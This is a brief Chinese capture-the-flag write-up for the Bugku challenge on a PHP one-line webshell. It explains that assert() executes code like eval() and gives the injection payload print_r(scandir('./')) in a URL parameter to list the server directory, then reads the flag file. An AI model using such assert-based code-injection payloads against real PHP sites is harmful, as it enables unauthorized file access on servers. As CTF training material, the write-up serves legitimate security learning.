bugku 过狗一句话

分析 根据提示，分析得关键在于assert()，查资料得assert()用于调试，跟eval()差不多，但是eval()只能执行符合php编码规范的$code_str 解题 构造payload http://123.206.87.240:8010/?s=print_r(scandir(’./’)); 得到目录结构 再访问http://123.206.87.240:8010/fl4g.txt 即可

>>阅读原文<<